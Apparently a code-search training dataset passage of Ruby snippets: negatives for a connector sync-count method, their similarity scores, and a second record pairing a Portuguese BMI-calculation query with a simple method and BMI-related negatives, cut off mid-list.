"def sync=(value)\n\t\t\t\tsuper\n\t\t\t\t\n\t\t\t\tcase self.protocol\n\t\t\t\twhen 0, IPPROTO_TCP\n\t\t\t\t\tself.setsockopt(IPPROTO_TCP, TCP_NODELAY, value ? 1 : 0)\n\t\t\t\telse\n\t\t\t\t\tConsole.logger.warn(self) {\"Unsure how to sync=#{value} for #{self.protocol}!\"}\n\t\t\t\tend\n\t\t\trescue Errno::EINVAL\n\t\t\t\t# On Darwin, sometimes occurs when the connection is not yet fully formed. Empirically, TCP_NODELAY is enabled despite this result.\n\t\t\trescue Errno::EOPNOTSUPP\n\t\t\t\t# Some platforms may simply not support the operation.\n\t\t\t\t# Console.logger.warn(self) {\"Unable to set sync=#{value}!\"}\n\t\t\tend",
"def flush(*args, &blk)\n (@client ||= connect).flush(*args, &blk)\n end",
"def _synchronize\n Test.io_lock.synchronize { yield }\n end",
"def icloud_sync\n raise \"not yet implemented\"\n end",
"def run_once(send_twice: false)\n num_streamed = 0\n\n # Need at least repeatable read isolation level so that our DELETE after\n # enqueueing will see the same records as the original SELECT.\n DB.transaction(isolation_level: :repeatable_read) do\n records = StagedLogRecord.order(:id).limit(BATCH_SIZE)\n\n unless records.empty?\n RDB.multi do\n records.each do |record|\n stream(record.data)\n num_streamed += 1\n\n # simulate a double-send by adding the same record again\n if send_twice\n stream(record.data)\n num_streamed += 1\n end\n\n $stdout.puts \"Enqueued record: #{record.action} #{record.object} #{record.id}\"\n end\n end\n\n StagedLogRecord.where(Sequel.lit(\"id <= ?\", records.last.id)).delete\n end\n end\n\n num_streamed\n end",
"def sync(srcDir, dstDir)\n end",
"def sync\n @mutex.synchronize{yield}\n end",
"def sync\n @mutex.synchronize{yield}\n end",
"def sync\n @mutex.synchronize{yield}\n end",
"def sync\n @mutex.synchronize{yield}\n end"
] | [
"0.7342659",
"0.7342659",
"0.7342659",
"0.7038433",
"0.70182884",
"0.7018116",
"0.7018116",
"0.67531145",
"0.67531145",
"0.6627787",
"0.6627787",
"0.66060287",
"0.65389866",
"0.65180844",
"0.650483",
"0.6429728",
"0.6342846",
"0.6329813",
"0.6324012",
"0.63091266",
"0.62803787",
"0.62702614",
"0.6208393",
"0.618933",
"0.61133903",
"0.60848117",
"0.6038048",
"0.6013836",
"0.601154",
"0.59947526",
"0.5955285",
"0.59266365",
"0.5917646",
"0.5908241",
"0.5878552",
"0.5877518",
"0.5877518",
"0.5877518",
"0.5872359",
"0.5851462",
"0.5841694",
"0.57762545",
"0.57709605",
"0.5750403",
"0.57492685",
"0.573503",
"0.57328784",
"0.5728827",
"0.5713085",
"0.5697486",
"0.5660449",
"0.5656851",
"0.56561375",
"0.56472963",
"0.5634137",
"0.56091005",
"0.56005186",
"0.5594069",
"0.55872357",
"0.5575384",
"0.55617833",
"0.55586183",
"0.5549518",
"0.5545027",
"0.55432737",
"0.5542832",
"0.5523027",
"0.5512775",
"0.55117893",
"0.55109304",
"0.5501815",
"0.5494834",
"0.54872036",
"0.54872036",
"0.5484673",
"0.5470129",
"0.5457538",
"0.5438424",
"0.54373866",
"0.54293853",
"0.542023",
"0.54169077",
"0.5408734",
"0.54015654",
"0.5400087",
"0.53975844",
"0.5396408",
"0.53952885",
"0.53947896",
"0.5392431",
"0.5388644",
"0.53810096",
"0.5372692",
"0.5366514",
"0.53649884",
"0.5360047",
"0.5351322",
"0.53431046",
"0.53431046",
"0.53431046",
"0.53431046"
] | 0.0 | -1 |
Perform the sync and return the entities_count for either external or connec | def perform_sync(entity_instance, last_synchronization_date, external = true)
entity_instance.before_sync(last_synchronization_date)
external_entities = entity_instance.get_external_entities_wrapper(last_synchronization_date)
connec_entities = entity_instance.get_connec_entities(last_synchronization_date)
mapped_entities = entity_instance.consolidate_and_map_data(connec_entities, external_entities)
entity_instance.push_entities_to_external(mapped_entities[:connec_entities])
entity_instance.push_entities_to_connec(mapped_entities[:external_entities])
entity_instance.after_sync(last_synchronization_date)
entity_instance.class.count_and_first(external ? external_entities : connec_entities)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def co_managed_device_count\n return @co_managed_device_count\n end",
"def count_observers\n sync_peers { |peers| peers.size }\n end",
"def first_sync_entity(entity_name, organization, connec_client, external_client, last_synchronization_date, opts, external = true)\n limit = Settings.first_sync_batch_size || 50\n skip = 0\n entities_count = limit\n last_first_record = nil\n\n h = {__limit: limit}\n external ? h[:__skip_connec] = true : h[:__skip_external] = true\n entity_instance = instanciate_entity(entity_name, organization, connec_client, external_client, opts.merge(h))\n\n # IF entities_count > limit\n # This first sync feature is probably not implemented in the connector\n # because it fetched more than the expected number of entities\n # No need to fetch it a second Time\n # ELSIF entities_count < limit\n # No more entities to fetch\n while entities_count == limit\n entity_instance.opts_merge!(__skip: skip)\n\n perform_hash = perform_sync(entity_instance, last_synchronization_date, external)\n entities_count = perform_hash[:count]\n\n # Safety: if the connector does not implement batched calls but has exactly limit entities\n # There is a risk of infinite loop\n # We're comparing the first record to check that it is different\n first_record = Digest::MD5.hexdigest(perform_hash[:first].to_s)\n break if last_first_record && first_record == last_first_record\n\n last_first_record = first_record\n\n skip += limit\n end\n end",
"def get_entity_count(type)\n @tracker.count(type)\n end",
"def numConnections\n if activeConnections? then do\n n = 0\n @connectedClients.each {|client| n += 1 }\n return n\n else\n return 0\n end\n end",
"def getconnectioncount\n coind.getconnectioncount\n end",
"def count\n\t\tputs \"Counting number of entries in the local host repository ...\"\n\t\tcnt=0\n\t\t@known_hosts.keys.map do |key|\n\t\t\tunless is_ip?(key)\n\t\t\t\tcnt=cnt+1\n\t\t\tend\n\t\tend\n\t\tputs \"Current number of entries: #{cnt}\"\n\t\treturn cnt\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\tend",
"def get_counts_for_all_entities\n @tracker.counts\n end",
"def count\n @mutex.synchronize do\n count_nonsynchronize\n end\n end",
"def execute_batch_counting(projects_relation)\n end",
"def known_ip_count\n @mutex.synchronize do\n @connections.size\n end\n end",
"def update!(**args)\n @offline_storage_deleted_entity_row_count = args[:offline_storage_deleted_entity_row_count] if args.key?(:offline_storage_deleted_entity_row_count)\n @online_storage_deleted_entity_count = args[:online_storage_deleted_entity_count] if args.key?(:online_storage_deleted_entity_count)\n end",
"def check_consistency count\n raise \"Not implemented\"\n end",
"def count\n if @count\n @count - @deleted_entries.cardinality\n else\n determine_count\n end\n end",
"def count\n @mutex.synchronize { @count }\n end",
"def count\n Driver.client[coll_name].find.count\n end",
"def iosync\n @tc_storage.sync\n @tc_log.sync\n @tc_heads.sync\n nil\n end",
"def sync_new_mail_count\n c = conversations.count(:conditions => [\"mails.mail_type = 'inbox' and mails.read = 0\"])\n self.class.update_all [\"new_mail_count = ?\", c], [\"id = ?\", id]\n end",
"def update_associated_count\n self.update_kase_responses_count\n self.update_person_responses_count\n end",
"def refresh_counts!\n \n counters = {}\n \n counters[:bookmarks_count] = self.bookmarks(:refresh).length\n counters[:comments_count] = self.comments(:refresh).length\n counters[:hosted_instances_count] = self.hosted_instances(:refresh).length\n counters[:instructions_count] = self.instructions(:refresh).length\n counters[:screenshots_count] = self.screenshots(:refresh).length\n counters[:versions_count] = self.versions(:refresh).length\n \n # how the fuck am I supposed to set the damn counters?\n # ActiveRecord::Base::update_counters is bullshit, it only does increment/decrement\n\n # so whatever, I'm doing it manually\n set_values = ActiveRecord::Base.send :sanitize_sql_for_assignment, counters\n update_sql = \"UPDATE projects SET #{set_values} WHERE id=#{self.id}\"\n Project.connection.execute(update_sql)\n end",
"def sync_notify\n # ERR_NONE = 0\n # ERR_NETWORK = 1\n # ERR_REMOTESERVER = 2\n # ERR_RUNTIME = 3\n # ERR_UNEXPECTEDSERVERRESPONSE = 4\n # ERR_DIFFDOMAINSINSYNCSRC = 5\n # ERR_NOSERVERRESPONSE = 6\n # ERR_CLIENTISNOTLOGGEDIN = 7\n # ERR_CUSTOMSYNCSERVER = 8\n # ERR_UNATHORIZED = 9\n # ERR_CANCELBYUSER = 10\n # ERR_SYNCVERSION = 11\n # ERR_GEOLOCATION = 12\n \n setup_sync_handlers\n \n \n sourcename = @params['source_name'] ? @params['source_name'] : \"\"\n \n status = @params['status'] ? @params['status'] : \"\"\n \n if status == \"complete\"\n update_last_synced_time\n \n puts \"%\"*80\n puts \"SYNC COMPLETE\"\n puts \"new opp sync pending: \" + Settings.new_opportunity_sync_pending.to_s\n if Settings.new_opportunity_sync_pending\n puts \"Sync complete, starting pending new_opportunity sync.\"\n SyncUtil.start_sync('new_opportunity')\n Settings.new_opportunity_sync_pending = false\n end\n \n # store device info\n DeviceInfo.check_device_information\n \n @on_sync_complete.call\n \n WebView.execute_js(\"stopSyncSpin();\") \n\n #if latest integrated lead createdon is greater than before sync, display popup alert\n # handle_new_integrated_leads\n elsif status == \"ok\"\n if sourcename == 'AppInfo'\n check_for_upgrade\n elsif model_limits_exceeded?(sourcename, @params['total_count'])\n # model limit exceeded, stop synchronization\n return\n end\n \n if sourcename == 'Opportunity'\n handle_new_integrated_leads\n end\n \n if @params['source_name'] && @params['cumulative_count'] && @params['cumulative_count'].to_i > 0\n klass = Object.const_get(@params['source_name'])\n klass.local_changed=true if klass && klass.respond_to?(:local_changed=)\n end\n \n @on_sync_ok.call\n elsif status == \"in_progress\"\n @on_sync_in_progress.call\n elsif status == \"error\"\n err_code = @params['error_code'].to_i\n rho_error = Rho::RhoError.new(err_code)\n \n is_bad_request_data = (err_code == Rho::RhoError::ERR_CUSTOMSYNCSERVER) && !@params['server_errors'].to_s[/406 Not Acceptable/].nil?\n \n if @params['server_errors'] && @params['server_errors']['create-error']\n log_error(\"Create error\", @params.inspect)\n unless is_bad_request_data \n SyncEngine.on_sync_create_error( @params['source_name'], @params['server_errors']['create-error'], :recreate)\n else\n #notify the user here?\n #the create data given to the proxy was bad and will not succeed if tried again; delete the create\n SyncEngine.on_sync_create_error( @params['source_name'], @params['server_errors']['create-error'], :delete)\n end\n end\n \n if @params['server_errors'] && @params['server_errors']['update-error']\n log_error(\"Update error\", @params.inspect)\n unless is_bad_request_data\n SyncEngine.on_sync_update_error( @params['source_name'], @params['server_errors']['update-error'], :retry)\n else\n #notify the user here?\n SyncEngine.on_sync_update_error( @params['source_name'], @params['server_errors']['update-error'], :rollback, @params['server_errors']['update-rollback'])\n end\n end\n\n @msg = rho_error.message unless @msg and @msg.length > 0\n \n # RhoSync 2.1.5 has fixes that will cause rho_error.unknown_client? to return true in the proper scenarios.\n is_unknown_client_error = rho_error.unknown_client?(@params['error_message']) \n \n # Legacy support for RhoSync versions before 2.1.5\n is_unknown_client_error ||= (err_code == Rho::RhoError::ERR_REMOTESERVER && @params['error_message'] == \"undefined method `user_id' for nil:NilClass\")\n \n # Rhosync is not aware of this client's ID. Reset and force the user to the login screen.\n if is_unknown_client_error\n log_error(\"Error: Unknown client\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n \n SyncEngine.set_pollinterval(0)\n SyncEngine.stop_sync\n\n full_reset_logout\n \n goto_login(\"Unknown client, please log in again.\")\n elsif err_code == Rho::RhoError::ERR_NETWORK\n #leave ':send_to_exceptional => false' alone until infinite loop issue is fixed for clients without a network connection\n log_error(\"Network connectivity lost\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\", {:send_to_exceptional => false})\n \n #stop current sync, otherwise do nothing for connectivity lapse\n SyncEngine.stop_sync\n \n #send them back to login because initial sync did not complete\n @on_sync_error.call({:error_source => 'connection'})\n elsif [Rho::RhoError::ERR_CLIENTISNOTLOGGEDIN,Rho::RhoError::ERR_UNATHORIZED].include?(err_code) \n log_error(\"RhoSync error: client is not logged in / unauthorized\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n SyncEngine.set_pollinterval(0)\n SyncEngine.stop_sync\n background_login\n elsif err_code == Rho::RhoError::ERR_CUSTOMSYNCSERVER && !@params['server_errors'].to_s[/401 Unauthorized/].nil?\n #proxy returned a 401, need to re-login\n log_error(\"Error: 401 Unauthorized from proxy\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n SyncEngine.set_pollinterval(0)\n SyncEngine.stop_sync\n \n Settings.initial_sync_complete = false\n Settings.password = ''\n goto_login(\"Your username/password is no longer valid. Please log in again.\")\n elsif err_code == Rho::RhoError::ERR_CUSTOMSYNCSERVER && !@params['server_errors'].to_s[/403 Forbidden/].nil?\n #proxy returned a 403, need to purge the database and log the user out\n log_error(\"Error: 403 Forbidden from proxy\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n SyncEngine.set_pollinterval(0)\n SyncEngine.stop_sync\n \n full_reset_logout\n \n msg = ERR_403_MESSAGE\n goto_login(msg)\n elsif is_bad_request_data\n log_error(\"Bad request data\",\"Bad request data, client sent invalid data to CRM proxy, proxy returned 406. Error params: #{@params.inspect}\")\n else\n log_error(\"Unhandled error in sync_notify: #{err_code}\", Rho::RhoError.err_message(err_code) + \" #{@params.inspect}\")\n @on_sync_error.call({:error_source => 'unknown', :error_code => err_code})\n end\n end\n end",
"def objects_count\n @objects_count ||= objects.size\n end",
"def sync() end",
"def sync() end",
"def sync() end",
"def sync_progress\n response = rpc(:block_count, _coerce: Hash)\n\n count = response[:count]\n unchecked = response[:unchecked]\n total = count + unchecked\n\n count.to_f * 100 / total.to_f\n end",
"def getconnectioncount\n request :getconnectioncount\n end",
"def calculate_count _changed_card=nil\n ids = left.related_companies\n update_topic_company_cached_count ids.size\n result = {}\n ids.each do |company_id|\n result[company_id] = true unless result.key?(company_id)\n end\n result.to_json\nend",
"def connection_count\n request('getconnectioncount')\n end",
"def sync!\n save!\n\n \"Quests in definition: #{count_in_definition}\\n\" +\n \"Quests in database : #{count_in_db}\\n\" +\n \"Added to database : #{count_in_definition - count_in_db}\\n\" +\n \"#{QUESTS.quests_started_count} quests started for #{\n quests_started_players} players.\"\n end",
"def operation_count\n \toperations.count\n end",
"def get_external_entities(external_entity_name, last_synchronization_date = nil)\n # This method should return only entities that have been updated since the last_synchronization_date\n # It should also implements an option to do a full synchronization when @opts[:full_sync] == true or when there is no last_synchronization_date\n Maestrano::Connector::Rails::ConnectorLogger.log('info', @organization, \"Fetching #{Maestrano::Connector::Rails::External.external_name} #{external_entity_name.pluralize}\")\n if @opts[:full_sync] || !last_synchronization_date\n entities = @external_client.get_entities(external_entity_name, @opts)\n else\n #Setting the last argument to true creates a query string that fetches entities sorted_by updated_at\n #stopping requests when the last element of the page is older than last_synchronization_date\n entities = @external_client.get_entities(external_entity_name, @opts, last_synchronization_date)\n end\n Maestrano::Connector::Rails::ConnectorLogger.log('info', @organization, \"Received data: Source=#{Maestrano::Connector::Rails::External.external_name}, Entity=#{external_entity_name}, Response=#{entities}\")\n entities\n end",
"def records_count\n cached_collection.count\n end",
"def sync_data\n\t\tSYNC_TABLES.each do |sync|\n\t\t\tself.sync_table(sync)\n\t\tend\n\tend",
"def sync; end",
"def count\n load\n @result_count\n end",
"def changeset_count\n\t\tchangesets_x_all.first[:objects].count\n\tend",
"def db_count_queries &block\n count = 0\n\n counter_f = ->(name, started, finished, unique_id, payload) {\n unless %w[ CACHE SCHEMA ].include? payload[:name]\n count += 1\n end\n }\n ActiveSupport::Notifications.subscribed(counter_f, \"sql.active_record\", &block)\n count\n end",
"def connection_count\n @@_telnet_connection_count\n end",
"def count\n folder.data_objects.all(parameters).count\n end",
"def count\n call_client(:count)\n end",
"def connections\n @connections.size\n end",
"def connections\n @connections.size\n end",
"def sync()\n #This is a stub, used for indexing\n end",
"def co_managed_device_count=(value)\n @co_managed_device_count = value\n end",
"def count_records\n count = scoped.count\n\n # If there's nothing in the database and @target has no new records\n # we are certain the current target is an empty array. This is a\n # documented side-effect of the method that may avoid an extra SELECT.\n @target ||= [] && loaded! if count == 0\n\n count\n end",
"def sync\n Logger.d(\"Sync invoked for ContactsSync\")\n find_all_contacts_with_email { |emails|\n Logger.d(\"Going to sync #{emails.length} contacts\")\n # Save the contacts on the server \n json = {\n :user => {\n :contacts => emails\n },\n :auth_token => @auth_token\n }.to_json\n\n on_api_call_failed = Proc.new { |json_obj|\n Logger.d(\"API CALL FAILED in ContactsSync.sync\", \">\")\n } \n\n # Save on network\n network_post(CONFIG.get(:sync_contacts), nil, json, on_api_call_failed) do |response_obj|\n Logger.d(\"Contacts sync done\", \":) \")\n end \n }\n end",
"def retrieved_records\n results.count\n end",
"def sync\n log.debug \"tenant #{@tenant} syncing resources: #{@resourcespec.resources}\"\n load_active_from_disk\n log.debug \"currently active: #{@active}\"\n\n # first deactivate everything to handle the case of resource removal\n @active.each do |resource, _|\n deactivate_resource(resource)\n end\n\n # check and sync resources\n @resourcespec.resources.each do |resource, version|\n if synced?(resource, version)\n log.debug \"resource #{resource} version #{version} is already synced\"\n else\n # sync resource locally from server\n sync_resource(@resourcespec.resource_formats[resource], resource, version)\n end\n end\n\n # check and activate resources\n @resourcespec.resources.each do |resource, version|\n if active?(resource, version)\n log.debug \"resource #{resource} version #{version} is already active\"\n else\n activate_resource(resource, version)\n end\n end\n end",
"def count_sql_queries_to_load\n result = 0\n\n ActiveSupport::Notifications.subscribe('sql.active_record') do |_name, _start, _finish, _id, payload|\n result += 1\n end\n\n yield\n\n result\n end",
"def size\n\n fetch_all(:count => true)\n end",
"def count\n @count ||=\n begin\n # self.sql sets self.model_class.\n this_sql = sql(:count => true)\n model_class.connection.\n query(this_sql).\n first.first\n end\n end",
"def sync\n end",
"def sync\n end",
"def default_article_sync\n feed.entries.count > 20 ? 20 : feed.entries.count\n end",
"def count_links\n @links_count = Link.count\n end",
"def unsynchronized_size\n @available_connections.length + @checked_out_connections.length + @pending_connections.length\n end",
"def count(&block)\n @instances = {cache_count: 0, ignored_count: 0, sql_count: 0, instance_count: 0}\n ActiveSupport::Notifications.subscribed(callback_proc, /active_record/, &block)\n @instances\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def count\n @count\n end",
"def sync_with_cluster\n fetch_cluster_data\n reconcile_old_releases\n reconcile_db_with_cluster\n end",
"def managed_connections\n @@managed_connections\n end",
"def count\n @count\n end",
"def count\n query.count\n end",
"def count\n query.count\n end",
"def compute_check_counts\n \n self.new_design_self_check_count = 0\n self.new_design_peer_check_count = 0\n self.bareboard_design_self_check_count = 0\n self.bareboard_design_peer_check_count = 0\n \n self.each_check do |check|\n \n if check.new_design_check?\n self.new_design_self_check_count += 1 if check.is_self_check?\n self.new_design_peer_check_count += 1 if check.is_peer_check?\n end\n \n if check.bare_board_design_check?\n self.bareboard_design_self_check_count += 1 if check.is_self_check?\n self.bareboard_design_peer_check_count += 1 if check.is_peer_check?\n end\n \n end\n \n self.save\n \n end",
"def getconnectioncount\n @api.request 'getconnectioncount'\n end",
"def conflict_device_count\n return @conflict_device_count\n end",
"def available_count\n raise_if_closed!\n\n @lock.synchronize do\n @available_connections.length\n end\n end",
"def sync\r\n\t\tsend('SYN', '0 0')\r\n\t\treturn 1\r\n\tend",
"def concurrent_count\n debug(\"Getting puppet status\")\n\n running = 0\n\n @puppet.status do |resp|\n begin\n running += resp[:body][:data][:running].to_i\n rescue Exception => e\n debug(\"Failed to get node status: #{e}, continuing\")\n end\n end\n\n running\nend",
"def count_objects\n ObjectSpace.count_objects\n end",
"def update_associated_count\n self.update_tier_kases_count\n self.update_topics_kases_count\n self.update_person_kases_count\n end",
"def get_external_entities(client, last_synchronization, organization, opts={})\n return [] unless self.class.can_read_external?\n Maestrano::Connector::Rails::ConnectorLogger.log('info', organization, \"Fetching #{Maestrano::Connector::Rails::External.external_name} #{Entities::Company.external_entity_name.pluralize}\")\n # This method should return only entities that have been updated since the last_synchronization\n # It should also implements an option to do a full synchronization when opts[:full_sync] == true or when there is no last_synchronization\n if opts[:full_sync] || last_synchronization.blank?\n client.all(self.class.external_entity_name)\n else\n client.all(self.class.external_entity_name, ((last_synchronization.to_date).to_s))\n end\n end",
"def countRunStatus(_reference, _syncP = false, _nth = :all)\n _count = 0 ;\n doWithNthRun(_nth){|_run|\n sync(_run) if(_syncP) ;\n if(_reference.is_a?(Array)) then\n _count += 1 if(_reference.member?(_run.status)) ;\n else\n _count += 1 if(_reference == _run.status) ;\n end\n }\n return _count ;\n end",
"def contact_count\n Contact.visible.includes(:address).count(:conditions => statement)\n rescue ::ActiveRecord::StatementInvalid => e\n raise StatementInvalid.new(e.message)\n end",
"def fetch_and_enqueue(force_all_syncs=false)\n begin\n if force_all_syncs\n query = db.fetch(%Q(\n SELECT r.name, r.id FROM #{relation} r, users u WHERE\n (r.state = '#{CartoDB::Synchronization::Member::STATE_SUCCESS}'\n OR r.state = '#{CartoDB::Synchronization::Member::STATE_SYNCING}')\n AND u.id = user_id AND u.state = '#{Carto::User::STATE_ACTIVE}'\n ))\n else\n query = db.fetch(%Q(\n SELECT r.name, r.id, r.user_id FROM #{relation} r, users u\n WHERE EXTRACT(EPOCH FROM r.run_at) < #{Time.now.utc.to_f}\n AND u.id = user_id AND u.state = '#{Carto::User::STATE_ACTIVE}'\n AND\n (\n r.state = '#{CartoDB::Synchronization::Member::STATE_SUCCESS}'\n OR (r.state = '#{CartoDB::Synchronization::Member::STATE_FAILURE}'\n AND r.retried_times < #{CartoDB::Synchronization::Member::MAX_RETRIES})\n )\n ORDER BY ran_at\n ))\n end\n success = true\n rescue Exception => e\n success = false\n print_log(\"ERROR fetching sync tables: #{e.message}, #{e.backtrace}\", true)\n end\n\n if success\n print_log \"Fetched #{query.count} records\"\n force_all_syncs ? enqueue_all(query) : enqueue_rate_limited(query)\n end\n\n self\n end",
"def n_inserted\n written_count\n end",
"def intune_device_count\n return @intune_device_count\n end",
"def hosts_count\r\n return @hosts.length\r\n end",
"def size\n clients.size + servers.size + components.size + bosh_clients.size\n end",
"def send_count\n repository.files.map do |file|\n content = repository.read(file)\n content.to_s.scan(/send/).size\n end.sum\n end",
"def _update_counts_after_update\n _wrap_in_counter_culture_active do\n self.class.after_commit_counter_cache.each do |hash|\n # figure out whether the applicable counter cache changed (this can happen\n # with dynamic column names)\n counter_cache_name_was = counter_cache_name_for(previous_model, hash[:counter_cache_name])\n counter_cache_name = counter_cache_name_for(self, hash[:counter_cache_name])\n\n if send(\"#{first_level_relation_foreign_key(hash[:relation])}_changed?\") ||\n (hash[:delta_column] && send(\"#{hash[:delta_column]}_changed?\")) ||\n counter_cache_name != counter_cache_name_was\n\n # increment the counter cache of the new value\n change_counter_cache(hash.merge(:increment => true, :counter_column => counter_cache_name))\n # decrement the counter cache of the old value\n change_counter_cache(hash.merge(:increment => false, :was => true, :counter_column => counter_cache_name_was))\n end\n end\n end\n end",
"def sync_all_data\n return if self.disabled?\n self.sync_availability\n self.sync_rate\n self.sync_stop_sell\n self.sync_min_stay\n\n if self.channel == GtaTravelChannel.first\n self.sync_gta_travel_cta\n self.sync_gta_travel_ctb\n else\n self.sync_cta if Constant::SUPPORT_CTA.include?(self.channel)\n self.sync_ctd if Constant::SUPPORT_CTD.include?(self.channel)\n end\n end",
"def active_client_threads\n # If threaded return a count from the clients list\n return @clients.length if @threaded\n\n # Else return 0 if not threaded\n return 0\n end",
"def perform\n track do\n reset!\n\n Restforce::DB::Registry.each do |mapping|\n run(\"CLEANING RECORDS\", Cleaner, mapping)\n run(\"ATTACHING RECORDS\", Attacher, mapping)\n run(\"PROPAGATING RECORDS\", Initializer, mapping)\n run(\"COLLECTING CHANGES\", Collector, mapping)\n end\n\n # NOTE: We can only perform the synchronization after all record\n # changes have been aggregated, so this second loop is necessary.\n Restforce::DB::Registry.each do |mapping|\n run(\"UPDATING ASSOCIATIONS\", Associator, mapping)\n run(\"APPLYING CHANGES\", Synchronizer, mapping)\n end\n end\n end",
"def deep_succeeded_cloud_fixity_count\n @deep_succeeded_cloud_fixity_count ||=\n query_service.custom_queries.find_deep_preservation_object_count(resource: resource) -\n deep_repairing_cloud_fixity_count -\n deep_failed_cloud_fixity_count\n end",
"def loaded_count\n loaded_objects.size\n end",
"def object_count\n 0\n end",
"def display_entity_counts\n @log.info @tracker.display\n end",
"def status\n @sync.synchronize{super}\n end",
"def sync_data(class_name)\n sync_class = class_name.constantize\n sync_results = []\n threads = remote_nodes.collect do |node|\n # Thread the sync for each node so that one node failure does\n # not interfere with other nodes.\n Thread.fork do\n sync_results << begin\n sync_class.new(local_node, node).sync\n rescue\n # allow sync_class to log exception details\n false\n end\n end\n end\n threads.each(&:join)\n sync_results.all?\n end",
"def db_instance_count\n data.db_instance_count\n end",
"def after_open\n self.update_associated_count\n end",
"def count\n @all.size\n end",
"def async_count(column_name = nil)\n async.count(column_name)\n end",
"def begin\n self.transaction_count += 1\n end",
"def count\n self.all.count\n end",
"def size\n read_all_transactions\n transaction_cache.size\n end"
] | [
"0.59548205",
"0.58991575",
"0.5769256",
"0.56921476",
"0.564046",
"0.5584988",
"0.55841094",
"0.5570818",
"0.55129135",
"0.5512827",
"0.5502534",
"0.54871714",
"0.54769075",
"0.54173416",
"0.54062015",
"0.5395632",
"0.538975",
"0.53745514",
"0.5358591",
"0.5358414",
"0.5305275",
"0.52964103",
"0.52921635",
"0.52921635",
"0.52921635",
"0.5281523",
"0.5261716",
"0.52515167",
"0.52430016",
"0.5230322",
"0.523013",
"0.52254355",
"0.52244186",
"0.5220133",
"0.5215338",
"0.52061135",
"0.52032",
"0.5202554",
"0.5191668",
"0.518662",
"0.51765597",
"0.51689065",
"0.51689065",
"0.5168615",
"0.5164798",
"0.5161745",
"0.51536196",
"0.51531494",
"0.51369625",
"0.512949",
"0.5127204",
"0.5121409",
"0.51153135",
"0.51153135",
"0.5114256",
"0.5111387",
"0.5110161",
"0.5107612",
"0.51047975",
"0.51047975",
"0.51047975",
"0.509912",
"0.5092611",
"0.5072974",
"0.50647956",
"0.50647956",
"0.50643456",
"0.5062857",
"0.5061104",
"0.5050328",
"0.504965",
"0.50434226",
"0.5042716",
"0.5042296",
"0.5040533",
"0.5029889",
"0.50287974",
"0.50284785",
"0.50276417",
"0.50247204",
"0.5024073",
"0.5020551",
"0.50075936",
"0.5003184",
"0.50025356",
"0.5000963",
"0.5000337",
"0.4996931",
"0.49952486",
"0.49919468",
"0.49873886",
"0.4986219",
"0.49861073",
"0.49815363",
"0.49766645",
"0.4971594",
"0.49676943",
"0.4965341",
"0.49579066",
"0.49534193"
] | 0.7148752 | 0 |
pessoa_fisica = PessoaFisica.new('Diego') calcular_imc calcular_altura(5), 50 | def voce_eh_legal?(linguagem)
if linguagem == 'ruby'
return true
else
return false
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def calcula_imc(peso, altura)\n return peso / altura ** 2\nend",
"def calcular_imc\n (@peso)/(@altura*@altura)\n end",
"def calcula_imc\n \n if @peso/@altura*@altura < 18\n puts \"vc esta magro\"\n elsif @peso/@altura*@altura <= 25\n puts \"vc esta no peso ideal\"\n elsif @peso/@altura*@altura > 25\n puts \"vc esta acima do peso\"\n end\n \n end",
"def imc(peso,talla)\n\t\t@imc = (peso/(talla*talla))\n\tend",
"def calculoIMC(peso, altura)\n return '%.2f' % (peso.to_f/(altura.to_f * altura.to_f))\nend",
"def calculo \n self.minutos_reales = 5 * 480 #cantidad de OPERARIOS * Jornada de Trabajo(Turnos)\n self.costo_minuto = 89 #Costo Real por minuto\n self.otros_costos = 540 * 89 #Tiempo Total(Minutos) * Costo Real por Minutos\n self.costo_mano_obra = 420 * 5 * 89 # Jornada Minutos * Cantidad Operarios * Costo Real por minutos \n self.manoObraPlaneada = 650.000 * 5 # Salario Total * Cantidad de operarios \n end",
"def calculoDiametro(raio)\n return raio * 2\nend",
"def imc \n\t\t@peso/(@talla*@talla)\n\tend",
"def mensagemIMC(nome, peso, altura)\n resultado = calculoIMC(peso, altura)\n puts \"Olá #{nome} seu IMC #{resultado} #{resposta(resultado)}\"\nend",
"def grasa(sexo,peso,talla)\n\t\t@grasa = 1.2*imc(peso,talla)+0.23*@edad-10.8*sexo-5.4\n\tend",
"def imc\n\t\tnum = (@peso/(@talla*@talla)).round(2)\n\t\tif num < 18.5\n\t\t\tnum #- Bajo peso\"\n\t\telsif num > 18.5 and num < 24.9\n\t\t\tnum #- Adecuado\"\n\t\telsif num > 25.0 and num < 29.9\n\t\t\tnum #- Sobrepeso\"\n\t\telsif num > 30.0 and num < 34.9\n\t\t\tnum #Obesidad grado 1\"\n\t\telsif num > 35.0 and num < 39.9\n\t\t\tnum #- Obesidad grado 2\"\n\t\telsif num > 40\n\t\t\tnum #- Obesidad grado 2\"\n\t\tend\t\t\t\n\tend",
"def calcularComprimento(raio)\n return calcularDiametro(raio) * Math::PI\nend",
"def crea(a)\n procs=[]\n a.each do\n |riga|\n (at,mt,et,sflo,sfhi,mf,ne,metro,nr)=riga\n delta=60.0/metro\n #brevettato\n 1.upto(nr) do\n procs << Processo.new(at,mt,et,sflo,sfhi,mf,ne)\n at += delta \n mt += delta\n et += delta\n #brevettato fino a qui\n end\n end\n procs\n end",
"def calc_imc(a, p)\n\taqd = (a * a) / 10000\n\timc = p / aqd\n\tr_imc(imc)\nend",
